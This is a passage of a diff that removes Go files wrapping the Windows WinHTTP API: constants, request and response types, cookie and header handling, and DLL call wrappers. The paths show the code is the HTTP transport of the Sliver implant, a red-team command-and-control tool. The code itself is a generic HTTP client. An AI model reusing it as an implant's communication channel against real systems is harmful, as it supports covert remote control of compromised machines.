-	WinhttpQueryAcceptCharset                       uintptr = 25
-	WinhttpQueryAcceptEncoding                      uintptr = 26
-	WinhttpQueryAcceptLanguage                      uintptr = 27
-	WinhttpQueryAuthorization                       uintptr = 28
-	WinhttpQueryContentEncoding                     uintptr = 29
-	WinhttpQueryForwarded                           uintptr = 30
-	WinhttpQueryFrom                                uintptr = 31
-	WinhttpQueryIfModifiedSince                     uintptr = 32
-	WinhttpQueryLocation                            uintptr = 33
-	WinhttpQueryOrigUri                             uintptr = 34
-	WinhttpQueryReferer                             uintptr = 35
-	WinhttpQueryRetryAfter                          uintptr = 36
-	WinhttpQueryServer                              uintptr = 37
-	WinhttpQueryTitle                               uintptr = 38
-	WinhttpQueryUserAgent                           uintptr = 39
-	WinhttpQueryWwwAuthenticate                     uintptr = 40
-	WinhttpQueryProxyAuthenticate                   uintptr = 41
-	WinhttpQueryAcceptRanges                        uintptr = 42
-	WinhttpQuerySetCookie                           uintptr = 43
-	WinhttpQueryCookie                              uintptr = 44
-	WinhttpQueryRequestMethod                       uintptr = 45
-	WinhttpQueryRefresh                             uintptr = 46
-	WinhttpQueryContentDisposition                  uintptr = 47
-	WinhttpQueryAge                                 uintptr = 48
-	WinhttpQueryCacheControl                        uintptr = 49
-	WinhttpQueryContentBase                         uintptr = 50
-	WinhttpQueryContentLocation                     uintptr = 51
-	WinhttpQueryContentMd5                          uintptr = 52
-	WinhttpQueryContentRange                        uintptr = 53
-	WinhttpQueryEtag                                uintptr = 54
-	WinhttpQueryHost                                uintptr = 55
-	WinhttpQueryIfMatch                             uintptr = 56
-	WinhttpQueryIfNoneMatch                         uintptr = 57
-	WinhttpQueryIfRange                             uintptr = 58
-	WinhttpQueryIfUnmodifiedSince                   uintptr = 59
-	WinhttpQueryMaxForwards                         uintptr = 60
-	WinhttpQueryProxyAuthorization                  uintptr = 61
-	WinhttpQueryRange                               uintptr = 62
-	WinhttpQueryTransferEncoding                    uintptr = 63
-	WinhttpQueryUpgrade                             uintptr = 64
-	WinhttpQueryVary                                uintptr = 65
-	WinhttpQueryVia                                 uintptr = 66
-	WinhttpQueryWarning                             uintptr = 67
-	WinhttpQueryExpect                              uintptr = 68
-	WinhttpQueryProxyConnection                     uintptr = 69
-	WinhttpQueryUnlessModifiedSince                 uintptr = 70
-	WinhttpQueryProxySupport                        uintptr = 75
-	WinhttpQueryAuthenticationInfo                  uintptr = 76
-	WinhttpQueryPassportUrls                        uintptr = 77
-	WinhttpQueryPassportConfig                      uintptr = 78
-	WinhttpQueryMax                                 uintptr = 78
-	WinhttpQueryCustom                              uintptr = 65535
-	WinhttpQueryFlagRequestHeaders                  uintptr = 0x80000000
-	WinhttpQueryFlagSystemtime                      uintptr = 0x40000000
-	WinhttpQueryFlagNumber                          uintptr = 0x20000000
-	WinhttpQueryFlagNumber64                        uintptr = 0x08000000
-	WinhttpCallbackStatusResolvingName              uintptr = 0x00000001
-	WinhttpCallbackStatusNameResolved               uintptr = 0x00000002
-	WinhttpCallbackStatusConnectingToServer         uintptr = 0x00000004
-	WinhttpCallbackStatusConnectedToServer          uintptr = 0x00000008
-	WinhttpCallbackStatusSendingRequest             uintptr = 0x00000010
-	WinhttpCallbackStatusRequestSent                uintptr = 0x00000020
-	WinhttpCallbackStatusReceivingResponse          uintptr = 0x00000040
-	WinhttpCallbackStatusResponseReceived           uintptr = 0x00000080
-	WinhttpCallbackStatusClosingConnection          uintptr = 0x00000100
-	WinhttpCallbackStatusConnectionClosed           uintptr = 0x00000200
-	WinhttpCallbackStatusHandleCreated              uintptr = 0x00000400
-	WinhttpCallbackStatusHandleClosing              uintptr = 0x00000800
-	WinhttpCallbackStatusDetectingProxy             uintptr = 0x00001000
-	WinhttpCallbackStatusRedirect                   uintptr = 0x00004000
-	WinhttpCallbackStatusIntermediateResponse       uintptr = 0x00008000
-	WinhttpCallbackStatusSecureFailure              uintptr = 0x00010000
-	WinhttpCallbackStatusHeadersAvailable           uintptr = 0x00020000
-	WinhttpCallbackStatusDataAvailable              uintptr = 0x00040000
-	WinhttpCallbackStatusReadComplete               uintptr = 0x00080000
-	WinhttpCallbackStatusWriteComplete              uintptr = 0x00100000
-	WinhttpCallbackStatusRequestError               uintptr = 0x00200000
-	WinhttpCallbackStatusSendrequestComplete        uintptr = 0x00400000
-	WinhttpCallbackStatusGetproxyforurlComplete     uintptr = 0x01000000
-	WinhttpCallbackStatusCloseComplete              uintptr = 0x02000000
-	WinhttpCallbackStatusShutdownComplete           uintptr = 0x04000000
-	WinhttpCallbackStatusSettingsWriteComplete      uintptr = 0x10000000
-	WinhttpCallbackStatusSettingsReadComplete       uintptr = 0x20000000
-	WinhttpCallbackFlagResolveName                  uintptr = (WinhttpCallbackStatusResolvingName | WinhttpCallbackStatusNameResolved)
-	WinhttpCallbackFlagConnectToServer              uintptr = (WinhttpCallbackStatusConnectingToServer | WinhttpCallbackStatusConnectedToServer)
-	WinhttpCallbackFlagSendRequest                  uintptr = (WinhttpCallbackStatusSendingRequest | WinhttpCallbackStatusRequestSent)
-	WinhttpCallbackFlagReceiveResponse              uintptr = (WinhttpCallbackStatusReceivingResponse | WinhttpCallbackStatusResponseReceived)
-	WinhttpCallbackFlagCloseConnection              uintptr = (WinhttpCallbackStatusClosingConnection | WinhttpCallbackStatusConnectionClosed)
-	WinhttpCallbackFlagHandles                      uintptr = (WinhttpCallbackStatusHandleCreated | WinhttpCallbackStatusHandleClosing)
-	WinhttpCallbackFlagDetectingProxy               uintptr = WinhttpCallbackStatusDetectingProxy
-	WinhttpCallbackFlagRedirect                     uintptr = WinhttpCallbackStatusRedirect
-	WinhttpCallbackFlagIntermediateResponse         uintptr = WinhttpCallbackStatusIntermediateResponse
-	WinhttpCallbackFlagSecureFailure                uintptr = WinhttpCallbackStatusSecureFailure
-	WinhttpCallbackFlagSendrequestComplete          uintptr = WinhttpCallbackStatusSendrequestComplete
-	WinhttpCallbackFlagHeadersAvailable             uintptr = WinhttpCallbackStatusHeadersAvailable
-	WinhttpCallbackFlagDataAvailable                uintptr = WinhttpCallbackStatusDataAvailable
-	WinhttpCallbackFlagReadComplete                 uintptr = WinhttpCallbackStatusReadComplete
-	WinhttpCallbackFlagWriteComplete                uintptr = WinhttpCallbackStatusWriteComplete
-	WinhttpCallbackFlagRequestError                 uintptr = WinhttpCallbackStatusRequestError
-	WinhttpCallbackFlagGetproxyforurlComplete       uintptr = WinhttpCallbackStatusGetproxyforurlComplete
-	WinhttpCallbackFlagAllCompletions               uintptr = (WinhttpCallbackStatusSendrequestComplete | WinhttpCallbackStatusHeadersAvailable | WinhttpCallbackStatusDataAvailable | WinhttpCallbackStatusReadComplete | WinhttpCallbackStatusWriteComplete | WinhttpCallbackStatusRequestError | WinhttpCallbackStatusGetproxyforurlComplete)
-	WinhttpCallbackFlagAllNotifications             uintptr = 0xffffffff
-	ApiReceiveResponse                              uintptr = (1)
-	ApiQueryDataAvailable                           uintptr = (2)
-	ApiReadData                                     uintptr = (3)
-	ApiWriteData                                    uintptr = (4)
-	ApiSendRequest                                  uintptr = (5)
-	ApiGetProxyForUrl                               uintptr = (6)
-	WinhttpHandleTypeSession                        uintptr = 1
-	WinhttpHandleTypeConnect                        uintptr = 2
-	WinhttpHandleTypeRequest                        uintptr = 3
-	WinhttpCallbackStatusFlagCertRevFailed          uintptr = 0x00000001
-	WinhttpCallbackStatusFlagInvalidCert            uintptr = 0x00000002
-	WinhttpCallbackStatusFlagCertRevoked            uintptr = 0x00000004
-	WinhttpCallbackStatusFlagInvalidCa              uintptr = 0x00000008
-	WinhttpCallbackStatusFlagCertCnInvalid          uintptr = 0x00000010
-	WinhttpCallbackStatusFlagCertDateInvalid        uintptr = 0x00000020
-	WinhttpCallbackStatusFlagCertWrongUsage         uintptr = 0x00000040
-	WinhttpCallbackStatusFlagSecurityChannelError   uintptr = 0x80000000
-	WinhttpFlagSecureProtocolSsl2                   uintptr = 0x00000008
-	WinhttpFlagSecureProtocolSsl3                   uintptr = 0x00000020
-	WinhttpFlagSecureProtocolTls1                   uintptr = 0x00000080
-	WinhttpFlagSecureProtocolTls11                  uintptr = 0x00000200
-	WinhttpFlagSecureProtocolTls12                  uintptr = 0x00000800
-	WinhttpFlagSecureProtocolTls13                  uintptr = 0x00002000
-	WinhttpFlagSecureProtocolAll                    uintptr = (WinhttpFlagSecureProtocolSsl2 | WinhttpFlagSecureProtocolSsl3 | WinhttpFlagSecureProtocolTls1)
-	WinhttpAuthSchemeBasic                          uintptr = 0x00000001
-	WinhttpAuthSchemeNtlm                           uintptr = 0x00000002
-	WinhttpAuthSchemePassport                       uintptr = 0x00000004
-	WinhttpAuthSchemeDigest                         uintptr = 0x00000008
-	WinhttpAuthSchemeNegotiate                      uintptr = 0x00000010
-	WinhttpAuthTargetServer                         uintptr = 0x00000000
-	WinhttpAuthTargetProxy                          uintptr = 0x00000001
-	WinhttpTimeFormatBufsize                        uintptr = 62
-	WinhttpAutoDetectTypeDhcp                       uintptr = 0x00000001
-	WinhttpAutoDetectTypeDnsA                       uintptr = 0x00000002
-	WinhttpAutoproxyAutoDetect                      uintptr = 0x00000001
-	WinhttpAutoproxyConfigUrl                       uintptr = 0x00000002
-	WinhttpAutoproxyHostKeepcase                    uintptr = 0x00000004
-	WinhttpAutoproxyHostLowercase                   uintptr = 0x00000008
-	WinhttpAutoproxyAllowAutoconfig                 uintptr = 0x00000100
-	WinhttpAutoproxyAllowStatic                     uintptr = 0x00000200
-	WinhttpAutoproxyAllowCm                         uintptr = 0x00000400
-	WinhttpAutoproxyRunInprocess                    uintptr = 0x00010000
-	WinhttpAutoproxyRunOutprocessOnly               uintptr = 0x00020000
-	WinhttpAutoproxyNoDirectaccess                  uintptr = 0x00040000
-	WinhttpAutoproxyNoCacheClient                   uintptr = 0x00080000
-	WinhttpAutoproxyNoCacheSvc                      uintptr = 0x00100000
-	WinhttpAutoproxySortResults                     uintptr = 0x00400000
-	NetworkingKeyBufsize                            uintptr = 128
-	WinhttpRequestStatFlagTcpFastOpen               uintptr = 0x00000001
-	WinhttpRequestStatFlagTlsSessionResumption      uintptr = 0x00000002
-	WinhttpRequestStatFlagTlsFalseStart             uintptr = 0x00000004
-	WinhttpRequestStatFlagProxyTlsSessionResumption uintptr = 0x00000008
-	WinhttpRequestStatFlagProxyTlsFalseStart        uintptr = 0x00000010
-	WinhttpRequestStatFlagFirstRequest              uintptr = 0x00000020
-	WinhttpWebSocketMaxCloseReasonLength            uintptr = 123
-	WinhttpWebSocketMinKeepaliveValue               uintptr = 15000
-)

implant/sliver/transports/httpclient/drivers/win/winhttp/http.go

@@ -1,20 +0,0 @@
-package winhttp
-
-import "errors"
-
-// ErrNoCookie is returned by Request's Cookie method when a cookie is
-// not found.
-var ErrNoCookie = errors.New("named cookie not present")
-
-// Common HTTP methods.
-const (
-	MethodConnect string = "CONNECT"
-	MethodDelete  string = "DELETE"
-	MethodGet     string = "GET"
-	MethodHead    string = "HEAD"
-	MethodOptions string = "OPTIONS"
-	MethodPatch   string = "PATCH"
-	MethodPost    string = "POST"
-	MethodPut     string = "PUT"
-	MethodTrace   string = "TRACE"
-)

implant/sliver/transports/httpclient/drivers/win/winhttp/request.go

@@ -1,55 +0,0 @@
-package winhttp
-
-// Request is a struct containing common HTTP request data.
-type Request struct {
-	Body    []byte
-	cookies []*Cookie
-	Headers map[string]string
-	Method  string
-	URL     string
-}
-
-// NewRequest will return a pointer to a new Request instance.
-func NewRequest(method, url string, body ...[]byte) *Request {
-	var b []byte
-
-	if len(body) > 0 {
-		b = body[0]
-	}
-
-	return &Request{
-		Body:    b,
-		Headers: map[string]string{},
-		Method:  method,
-		URL:     url,
-	}
-}
-
-// AddCookie will add a Cookie to the Request.
-func (r *Request) AddCookie(cookie *Cookie) {
-	for i, c := range r.cookies {
-		if cookie.Name == c.Name {
-			r.cookies = append(r.cookies[:i], r.cookies[i+1:]...)
-			break
-		}
-	}
-
-	r.cookies = append(r.cookies, cookie)
-}
-
-// Cookie will return the named Cookie provided in the Request or
-// ErrNoCookie, if not found.
-func (r *Request) Cookie(name string) (*Cookie, error) {
-	for _, c := range r.cookies {
-		if name == c.Name {
-			return c, nil
-		}
-	}
-
-	return nil, ErrNoCookie
-}
-
-// Cookies will return the HTTP cookies provided in the Request.
-func (r *Request) Cookies() []*Cookie {
-	return r.cookies
-}

implant/sliver/transports/httpclient/drivers/win/winhttp/response.go

@@ -1,45 +0,0 @@
-package winhttp
-
-import "io"
-
-// Response is a struct containing common HTTP response data.
-type Response struct {
-	Body          io.ReadCloser
-	cookies       []*Cookie
-	ContentLength int64
-	Header        map[string][]string
-	Proto         string
-	ProtoMajor    int
-	ProtoMinor    int
-	Status        string
-	StatusCode    int
-}
-
-// AddCookie will add a Cookie to the Request.
-func (r *Response) AddCookie(cookie *Cookie) {
-	for i, c := range r.cookies {
-		if cookie.Name == c.Name {
-			r.cookies = append(r.cookies[:i], r.cookies[i+1:]...)
-			break
-		}
-	}
-
-	r.cookies = append(r.cookies, cookie)
-}
-
-// Cookie will return the named Cookie provided in the Response or
-// ErrNoCookie, if not found.
-func (r *Response) Cookie(name string) (*Cookie, error) {
-	for _, c := range r.cookies {
-		if name == c.Name {
-			return c, nil
-		}
-	}
-
-	return nil, ErrNoCookie
-}
-
-// Cookies will return the HTTP cookies provided in the Response.
-func (r *Response) Cookies() []*Cookie {
-	return r.cookies
-}

implant/sliver/transports/httpclient/drivers/win/winhttp/utils_windows.go

@@ -1,358 +0,0 @@
-package winhttp
-
-import (
-	"bytes"
-	"fmt"
-	"io"
-	"io/ioutil"
-	"net/url"
-	"strconv"
-	"strings"
-)
-
-func convertFail(str string, e error) error {
-	return fmt.Errorf(
-		"failed to convert %s to Windows type: %w",
-		str,
-		e,
-	)
-}
-
-func buildRequest(sessionHandle uintptr, req *Request) (uintptr, error) {
-	var connHandle uintptr
-	var err error
-	var flags uintptr
-	var port int64
-	var query string
-	var reqHandle uintptr
-	var uri *url.URL
-
-	// Parse URL
-	if uri, err = url.Parse(req.URL); err != nil {
-		return 0, fmt.Errorf("failed to parse url %s: %w", req.URL, err)
-	}
-
-	if uri.Port() != "" {
-		if port, err = strconv.ParseInt(uri.Port(), 10, 64); err != nil {
-			err = fmt.Errorf("port %s invalid: %w", uri.Port(), err)
-			return 0, err
-		}
-	}
-
-	switch uri.Scheme {
-	case "https":
-		flags = WinhttpFlagSecure
-	}
-
-	// Create connection
-	connHandle, err = Connect(
-		sessionHandle,
-		uri.Hostname(),
-		int(port),
-	)
-	if err != nil {
-		return 0, fmt.Errorf("failed to create connection: %w", err)
-	}
-
-	// Send query string too
-	if uri.RawQuery != "" {
-		query = "?" + uri.RawQuery
-	}
-
-	// Create HTTP request
-	reqHandle, err = OpenRequest(
-		connHandle,
-		req.Method,
-		uri.Path+query,
-		"",
-		"",
-		[]string{},
-		flags,
-	)
-	if err != nil {
-		return 0, fmt.Errorf("failed to open request: %w", err)
-	}
-
-	return reqHandle, nil
-}
-
-func buildResponse(reqHandle uintptr, req *Request) (*Response, error) {
-	var buf []byte
-	var body io.ReadCloser
-	var code int64
-	var contentLen int64
-	var cookies []*Cookie
-	var err error
-	var headers map[string][]string
-	var major int
-	var minor int
-	var proto string
-	var resp *Response
-	var status string
-
-	// Get response
-	if err = ReceiveResponse(reqHandle); err != nil {
-		return nil, fmt.Errorf("failed to get response: %w", err)
-	}
-
-	// Get status code
-	buf, err = queryResponse(reqHandle, WinhttpQueryStatusCode, 0)
-	if err != nil {
-		return nil, err
-	}
-
-	status = string(buf)
-	if code, err = strconv.ParseInt(status, 10, 64); err != nil {
-		return nil, fmt.Errorf("status %s invalid: %w", status, err)
-	}
-
-	// Get status text
-	buf, err = queryResponse(reqHandle, WinhttpQueryStatusText, 0)
-	if err != nil {
-		return nil, err
-	} else if len(buf) > 0 {
-		status += " " + string(buf)
-	}
-
-	// Parse cookies
-	cookies = getCookies(reqHandle)
-
-	// Parse headers and proto
-	if proto, major, minor, headers, err = getHeaders(reqHandle); err != nil {
-		return nil, err
-	}
-
-	// Read response body
-	if body, contentLen, err = readResponse(reqHandle); err != nil {
-		return nil, err
-	}
-
-	resp = &Response{
-		Body:          body,
-		ContentLength: contentLen,
-		Header:        headers,
-		Proto:         proto,
-		ProtoMajor:    major,
-		ProtoMinor:    minor,
-		Status:        status,
-		StatusCode:    int(code),
-	}
-
-	// Concat all cookies
-	for _, c := range req.Cookies() {
-		resp.AddCookie(c)
-	}
-
-	for _, c := range cookies {
-		resp.AddCookie(c)
-	}
-
-	return resp, nil
-}
-
-func getCookies(reqHandle uintptr) []*Cookie {
-	var buf []byte
-	var cookies []*Cookie
-	var err error
-	var tmp []string
-
-	// Get cookies
-	for index := 0; ; index++ {
-		buf, err = queryResponse(
-			reqHandle,
-			WinhttpQuerySetCookie,
-			index,
-		)
-		if err != nil {
-			break
-		}
-
-		tmp = strings.SplitN(string(buf), "=", 2)
-		cookies = append(
-			cookies,
-			&Cookie{Name: tmp[0], Value: tmp[1]},
-		)
-	}
-
-	return cookies
-}
-
-func getHeaders(reqHandle uintptr) (string, int, int, map[string][]string, error) {
-	var buf []byte
-	var err error
-	var headers = map[string][]string{}
-	var major int64
-	var minor int64
-	var proto string
-	var tmp []string
-
-	// Get headers
-	buf, err = queryResponse(
-		reqHandle,
-		WinhttpQueryRawHeadersCRLF,
-		0,
-	)
-	if err != nil {
-		return "", 0, 0, nil, err
-	}
-
-	for _, hdr := range strings.Split(string(buf), "\r\n") {
-		tmp = strings.SplitN(hdr, ": ", 2)
-
-		if len(tmp) == 2 {
-			if _, ok := headers[tmp[0]]; !ok {
-				headers[tmp[0]] = []string{}
-			}
-
-			headers[tmp[0]] = append(headers[tmp[0]], tmp[1])
-		} else if strings.HasPrefix(hdr, "HTTP") {
-			proto = strings.Fields(hdr)[0]
-			tmp = strings.Split(proto, ".")
-
-			if len(tmp) >= 2 {
-				tmp[0] = strings.Replace(tmp[0], "HTTP/", "", 1)
-
-				major, err = strconv.ParseInt(tmp[0], 10, 64)
-				if err != nil {
-					err = fmt.Errorf("invalid HTTP version: %w", err)
-					return "", 0, 0, nil, err
-				}
-
-				minor, err = strconv.ParseInt(tmp[1], 10, 64)
-				if err != nil {
-					err = fmt.Errorf("invalid HTTP version: %w", err)
-					return "", 0, 0, nil, err
-				}
-			}
-		}
-	}
-
-	return proto, int(major), int(minor), headers, nil
-}
-
-func queryResponse(reqHandle, info uintptr, idx int) ([]byte, error) {
-	var buffer []byte
-	var err error
-	var size int
-
-	if idx < 0 {
-		idx = 0
-	}
-
-	err = QueryHeaders(
-		reqHandle,
-		info,
-		"",
-		&buffer,
-		&size,
-		&idx,
-	)
-	if err != nil {
-		buffer = make([]byte, size)
-
-		err = QueryHeaders(
-			reqHandle,
-			info,
-			"",
-			&buffer,
-			&size,
-			&idx,
-		)
-		if err != nil {
-			err = fmt.Errorf("failed to query info: %w", err)
-			return []byte{}, err
-		}
-	}
-
-	return buffer, nil
-}
-
-func readResponse(reqHandle uintptr) (io.ReadCloser, int64, error) {
-	var buf []byte
-	var chunk []byte
-	var chunkLen int64
-	var contentLen int64
-	var err error
-	var n int64
-
-	// Get Content-Length and body of response
-	for {
-		// Get next chunk size
-		err = QueryDataAvailable(reqHandle, &chunkLen)
-		if err != nil {
-			err = fmt.Errorf("failed to query data available: %w", err)
-			break
-		}
-
-		// Stop, if finished
-		if chunkLen == 0 {
-			break
-		}
-
-		// Read next chunk
-		err = ReadData(reqHandle, &chunk, chunkLen, &n)
-		if err != nil {
-			err = fmt.Errorf("failed to read data: %w", err)
-			break
-		}
-
-		// Update fields
-		contentLen += chunkLen
-		buf = append(buf, chunk...)
-	}
-
-	if err != nil {
-		return nil, 0, err
-	}
-
-	return ioutil.NopCloser(bytes.NewReader(buf)), contentLen, nil
-}
-
-func sendRequest(reqHandle uintptr, req *Request) error {
-	var err error
-	var method uintptr
-
-	// Process cookies
-	method = WinhttpAddreqFlagAdd
-	method |= WinhttpAddreqFlagCoalesceWithSemicolon
-
-	for _, c := range req.Cookies() {
-		err = AddRequestHeaders(
-			reqHandle,
-			"Cookie: "+c.Name+"="+c.Value,
-			method,
-		)
-		if err != nil {
-			return fmt.Errorf("failed to add cookies: %w", err)
-		}
-	}
-
-	// Process headers
-	method = WinhttpAddreqFlagAdd
-	method |= WinhttpAddreqFlagReplace
-
-	for k, v := range req.Headers {
-		err = AddRequestHeaders(
-			reqHandle,
-			k+": "+v,
-			method,
-		)
-		if err != nil {
-			return fmt.Errorf("failed to add request headers: %w", err)
-		}
-	}
-
-	// Send HTTP request
-	err = SendRequest(
-		reqHandle,
-		"",
-		0,
-		req.Body,
-		len(req.Body),
-	)
-	if err != nil {
-		return fmt.Errorf("failed to send request: %w", err)
-	}
-
-	return nil
-}

implant/sliver/transports/httpclient/drivers/win/winhttp/winhttp.go

@@ -1,3 +0,0 @@
-package winhttp
-
-//go:generate go run ../tools/defines.go winhttp /usr/x86_64-w64-mingw32/include/winhttp.h

implant/sliver/transports/httpclient/drivers/win/winhttp/winhttp_windows.go

@@ -1,405 +0,0 @@
-package winhttp
-
-import (
-	"fmt"
-	"strings"
-	"unsafe"
-
-	"golang.org/x/sys/windows"
-)
-
-var winhttp *windows.LazyDLL = windows.NewLazySystemDLL("Winhttp")
-
-// AddRequestHeaders is WinHttpAddRequestHeaders from winhttp.h
-func AddRequestHeaders(
-	reqHndl uintptr,
-	header string,
-	addMethod uintptr,
-) error {
-	var e error
-	var ok uintptr
-	var proc string = "WinHttpAddRequestHeaders"
-	var pswzHeader uintptr
-	var tmp *uint16
-
-	if header == "" {
-		// Weird, just do nothing
-		return nil
-	}
-
-	header = strings.TrimSpace(header) + "\r\n"
-
-	// Convert to Windows types
-	if tmp, e = windows.UTF16PtrFromString(header); e != nil {
-		return convertFail(header, e)
-	}
-
-	pswzHeader = uintptr(unsafe.Pointer(tmp))
-
-	ok, _, e = winhttp.NewProc(proc).Call(
-		reqHndl,
-		pswzHeader,
-		uintptr(len(header)),
-		addMethod,
-	)
-	if ok == 0 {
-		return fmt.Errorf("%s: %w", proc, e)
-	}
-
-	return nil
-}
-
-// Connect is WinHttpConnect from winhttp.h
-func Connect(
-	sessionHndl uintptr,
-	serverName string,
-	serverPort int,
-) (uintptr, error) {
-	var connHndl uintptr
-	var e error
-	var proc string = "WinHttpConnect"
-	var pswzServerName uintptr
-	var tmp *uint16
-
-	// Convert to Windows types
-	if serverName != "" {
-		if tmp, e = windows.UTF16PtrFromString(serverName); e != nil {
-			return 0, convertFail(serverName, e)
-		}
-
-		pswzServerName = uintptr(unsafe.Pointer(tmp))
-	}
-
-	connHndl, _, e = winhttp.NewProc(proc).Call(
-		sessionHndl,
-		pswzServerName,
-		uintptr(serverPort),
-		0,
-	)
-	if connHndl == 0 {
-		return 0, fmt.Errorf("%s: %w", proc, e)
-	}
-
-	return connHndl, nil
-}
-
-// Open is WinHttpOpen from winhttp.h
-func Open(
-	userAgent string,
-	accessType uintptr,
-	proxy string,
-	proxyBypass string,
-	flags uintptr,
-) (uintptr, error) {
-	var e error
-	var proc string = "WinHttpOpen"
-	var pszAgent uintptr
-	var pszProxy uintptr
-	var pszProxyBypass uintptr
-	var sessionHndl uintptr
-	var tmp *uint16
-
-	// Convert to Windows types
-	if userAgent != "" {
-		if tmp, e = windows.UTF16PtrFromString(userAgent); e != nil {
-			return 0, convertFail(userAgent, e)
-		}
-
-		pszAgent = uintptr(unsafe.Pointer(tmp))
-	}
-
-	if proxy != "" {
-		if tmp, e = windows.UTF16PtrFromString(proxy); e != nil {
-			return 0, convertFail(proxy, e)
-		}
-
-		pszProxy = uintptr(unsafe.Pointer(tmp))
-	}
-
-	if proxyBypass != "" {
-		tmp, e = windows.UTF16PtrFromString(proxyBypass)
-		if e != nil {
-			return 0, convertFail(proxyBypass, e)
-		}
-
-		pszProxyBypass = uintptr(unsafe.Pointer(tmp))
-	}
-
-	sessionHndl, _, e = winhttp.NewProc(proc).Call(
-		pszAgent,
-		accessType,
-		pszProxy,
-		pszProxyBypass,
-		flags,
-	)
-	if sessionHndl == 0 {
-		return 0, fmt.Errorf("%s: %w", proc, e)
-	}
-
-	return sessionHndl, nil
-}
-
-// OpenRequest is WinHttpOpenRequest from winhttp.h
-func OpenRequest(
-	connHndl uintptr,
-	verb string,
-	objectName string,
-	version string,
-	referrer string,
-	acceptTypes []string,
-	flags uintptr,
-) (uintptr, error) {
-	var e error
-	var ppwszAcceptTypes []*uint16
-	var proc string = "WinHttpOpenRequest"
-	var pwszObjectName uintptr
-	var pwszReferrer uintptr
-	var pwszVerb uintptr
-	var pwszVersion uintptr
-	var reqHndl uintptr
-	var tmp *uint16
-
-	// Convert to Windows types
-	ppwszAcceptTypes = make([]*uint16, 1)
-	for _, theType := range acceptTypes {
-		if theType == "" {
-			continue
-		}
-
-		tmp, e = windows.UTF16PtrFromString(theType)
-		if e != nil {
-			return 0, convertFail(theType, e)
-		}
-
-		ppwszAcceptTypes = append(ppwszAcceptTypes, tmp)
-	}
-
-	if objectName != "" {
-		if tmp, e = windows.UTF16PtrFromString(objectName); e != nil {
-			return 0, convertFail(objectName, e)
-		}
-
-		pwszObjectName = uintptr(unsafe.Pointer(tmp))
-	}
-
-	if referrer != "" {
-		if tmp, e = windows.UTF16PtrFromString(referrer); e != nil {
-			return 0, convertFail(referrer, e)
-		}
-
-		pwszReferrer = uintptr(unsafe.Pointer(tmp))
-	}
-
-	if verb != "" {
-		if tmp, e = windows.UTF16PtrFromString(verb); e != nil {
-			return 0, convertFail(verb, e)
-		}
-
-		pwszVerb = uintptr(unsafe.Pointer(tmp))
-	}
-
-	if version != "" {
-		if tmp, e = windows.UTF16PtrFromString(version); e != nil {
-			return 0, convertFail(version, e)
-		}
-
-		pwszVersion = uintptr(unsafe.Pointer(tmp))
-	}
-
-	reqHndl, _, e = winhttp.NewProc(proc).Call(
-		connHndl,
-		pwszVerb,
-		pwszObjectName,
-		pwszVersion,
-		pwszReferrer,
-		uintptr(unsafe.Pointer(&ppwszAcceptTypes[0])),
-		flags,
-	)
-	if reqHndl == 0 {
-		return 0, fmt.Errorf("%s: %w", proc, e)
-	}
-
-	return reqHndl, nil
-}
-
-// QueryDataAvailable is WinHttpQueryDataAvailable from winhttp.h
-func QueryDataAvailable(reqHndl uintptr, bytesToRead *int64) error {
-	var e error
-	var proc string = "WinHttpQueryDataAvailable"
-	var success uintptr
-
-	success, _, e = winhttp.NewProc(proc).Call(
-		reqHndl,
-		uintptr(unsafe.Pointer(bytesToRead)),
-	)
-	if success == 0 {
-		return fmt.Errorf("%s: %w", proc, e)
-	}
-
-	return nil
-}
-
-// QueryHeaders is WinHttpQueryHeaders from winhttp.h
-func QueryHeaders(
-	reqHndl uintptr,
-	info uintptr,
-	name string,
-	buffer *[]byte,
-	bufferLen *int,
-	index *int,
-) error {
-	var b []uint16
-	var e error
-	var proc string = "WinHttpQueryHeaders"
-	var pwszName uintptr
-	var success uintptr
-	var tmp *uint16
-
-	// Convert to Windows types
-	if *bufferLen > 0 {
-		b = make([]uint16, *bufferLen)
-	} else {
-		b = make([]uint16, 1)
-	}
-
-	if (name != "") && (info == WinhttpQueryCustom) {
-		if tmp, e = windows.UTF16PtrFromString(name); e != nil {
-			return convertFail(name, e)
-		}
-
-		pwszName = uintptr(unsafe.Pointer(tmp))
-	} else {
-		pwszName = WinhttpHeaderNameByIndex
-	}
-
-	success, _, e = winhttp.NewProc(proc).Call(
-		reqHndl,
-		info,
-		pwszName,
-		uintptr(unsafe.Pointer(&b[0])),
-		uintptr(unsafe.Pointer(bufferLen)),
-		uintptr(unsafe.Pointer(index)),
-	)
-	if success == 0 {
-		return fmt.Errorf("%s: %w", proc, e)
-	}
-
-	*buffer = []byte(windows.UTF16ToString(b))
-
-	return nil
-}
-
-// ReadData is WinHttpReadData from winhttp.h
-func ReadData(
-	reqHndl uintptr,
-	buffer *[]byte,
-	bytesToRead int64,
-	bytesRead *int64,
-) error {
-	var b []byte
-	var e error
-	var proc string = "WinHttpReadData"
-	var success uintptr
-
-	if bytesToRead > 0 {
-		b = make([]byte, bytesToRead)
-	} else {
-		b = make([]byte, 1)
-	}
-
-	success, _, e = winhttp.NewProc(proc).Call(
-		reqHndl,
-		uintptr(unsafe.Pointer(&b[0])),
-		uintptr(bytesToRead),
-		uintptr(unsafe.Pointer(bytesRead)),
-	)
-	if success == 0 {
-		return fmt.Errorf("%s: %w", proc, e)
-	}
-
-	*buffer = b
-
-	return nil
-}
-
-// ReceiveResponse is WinHttpReceiveResponse from winhttp.h
-func ReceiveResponse(reqHndl uintptr) error {
-	var e error
-	var proc string = "WinHttpReceiveResponse"
-	var success uintptr
-
-	success, _, e = winhttp.NewProc(proc).Call(reqHndl, 0)
-	if success == 0 {
-		return fmt.Errorf("%s: %w", proc, e)
-	}
-
-	return nil
-}
-
-// SendRequest is WinHttpSendRequest from winhttp.h
-func SendRequest(
-	reqHndl uintptr,
-	headers string,
-	headersLen int,
-	data []byte,
-	dataLen int,
-) error {
-	var body uintptr
-	var e error
-	var proc string = "WinHttpSendRequest"
-	var pwszHeaders uintptr
-	var success uintptr
-	var tmp *uint16
-
-	// Pointer to data if provided
-	if (data != nil) && (len(data) > 0) {
-		body = uintptr(unsafe.Pointer(&data[0]))
-	}
-
-	// Convert to Windows types
-	if headers != "" {
-		if tmp, e = windows.UTF16PtrFromString(headers); e != nil {
-			return convertFail(headers, e)
-		}
-
-		pwszHeaders = uintptr(unsafe.Pointer(tmp))
-	}
-
-	success, _, e = winhttp.NewProc(proc).Call(
-		reqHndl,
-		pwszHeaders,
-		uintptr(headersLen),
-		body,
-		uintptr(dataLen),
-		uintptr(dataLen),
-	)
-	if success == 0 {
